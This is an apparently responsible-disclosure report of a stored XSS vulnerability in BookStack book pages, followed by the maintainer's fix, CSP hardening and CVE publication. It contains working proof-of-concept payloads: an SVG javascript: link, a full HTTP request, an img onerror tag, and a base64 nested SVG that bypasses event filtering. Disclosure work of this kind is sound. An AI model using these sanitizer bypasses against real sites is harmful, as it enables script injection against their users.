Cross-site Scripting (XSS) - Stored in bookstackapp/bookstack

Valid

Reported on

Sep 1st 2021


✍️ Description

There is svg tag filtration problem in "book page" egit leading to stored XSS. SVG images can be used on book pages, but there is not server side attribute filtration implemented for it.

🕵️‍♂️ Proof of Concept

There is filter for href attribute, but inside SVG xlink:href used. That means attacker can use both javascript: or data: inside it.

SVG with XSS №1 (user interaction required, acts like <a href=>)

<svg id="test" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(document.domain)">
<rect x="0" y="0" width="100" height="100" />
</a>
</svg>

Example request with it

POST /bookstack/public/books/bookname/page/pagename HTTP/1.1
Host: 192.168.255.78
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 494
Origin: http://192.168.255.78
DNT: 1
Connection: close
Referer: /bookstack/public/books/bookname/page/pagename
Cookie: <COOKIE>
Upgrade-Insecure-Requests: 1

_token=<TOKEN>&_method=PUT&summary=&name=test&html=<p><svg+xmlns%3d"http%3a//www.w3.org/2000/svg"+xmlns%3axlink%3d"http%3a//www.w3.org/1999/xlink"+width%3d"100"+height%3d"100"><a+xlink%3ahref%3d"javascript%3aalert(document.domain)"><rect+x%3d"0"+y%3d"0"+width%3d"100"+height%3d"100"></rect></a></svg></p>&tags%5B0%5D%5Bname%5D=%3Cimg%2Fsrc%2Fonerror%3Dalert%28%29%3E&tags%5B0%5D%5Bvalue%5D=&tags%5B1%5D%5Bname%5D=&tags%5B1%5D%5Bvalue%5D=&tags%5Brandrowid%5D%5Bname%5D=&tags%5Brandrowid%5D%5Bvalue%5D=&attachment_link_uploaded_to=2&attachment_link_name=&attachment_link_url=&template=false

SVG with XSS №2 (svg inside svg, no user interaction needed to shoot xss) This thing more "spicy": svg hidden inside uses "on"-events, which be filtered on normal circumstances and also it's not visible on page

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="data:application/xml;base64 ,
PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KPGRlZnM+CjxjaXJjbGUgaWQ9InRlc3QiIHI9IjAiIGN4PSIwIiBjeT0iMCIgc3R5bGU9ImZpbGw6ICNGMDAiPgo8c2V0IGF0dHJpYnV0ZU5hbWU9ImZpbGwiIGF0dHJpYnV0ZVR5cGU9IkNTUyIgb25iZWdpbj0nYWxlcnQoZG9jdW1lbnQuZG9tYWluKScKb25lbmQ9J2FsZXJ0KCJvbmVuZCIpJyB0bz0iIzAwRiIgYmVnaW49IjBzIiBkdXI9Ijk5OXMiIC8+CjwvY2lyY2xlPgo8L2RlZnM+Cjx1c2UgeGxpbms6aHJlZj0iI3Rlc3QiLz4KPC9zdmc+#test"/>
</svg>

💥 Impact

Stored XSS on book-page

Recommendation

Add filtration to svg-specific tags/attributes

We have contacted a member of the bookstackapp/bookstack team and are waiting to hear back a year ago
bookstackapp/bookstack maintainer
a year ago

Thank you very much for reporting @wezery,

I've now patched the cases found and deployed an update. I've fixed the cases found but this also pushed me to include some built-in CSP rules to hopefully mitigate the risks of things going past our filters.

bookstackapp/bookstack maintainer validated this vulnerability a year ago
wezery has been awarded the disclosure bounty
The fix bounty is now up for grabs
bookstackapp/bookstack maintainer confirmed that a fix has been merged on 040997 a year ago
The fix bounty has been dropped
wezery
a year ago

Researcher


Yeah, CSP is good idea! Thanks for fast response and updates!

Jamie Slome
a year ago

Admin


CVE published! 🎉

to join this conversation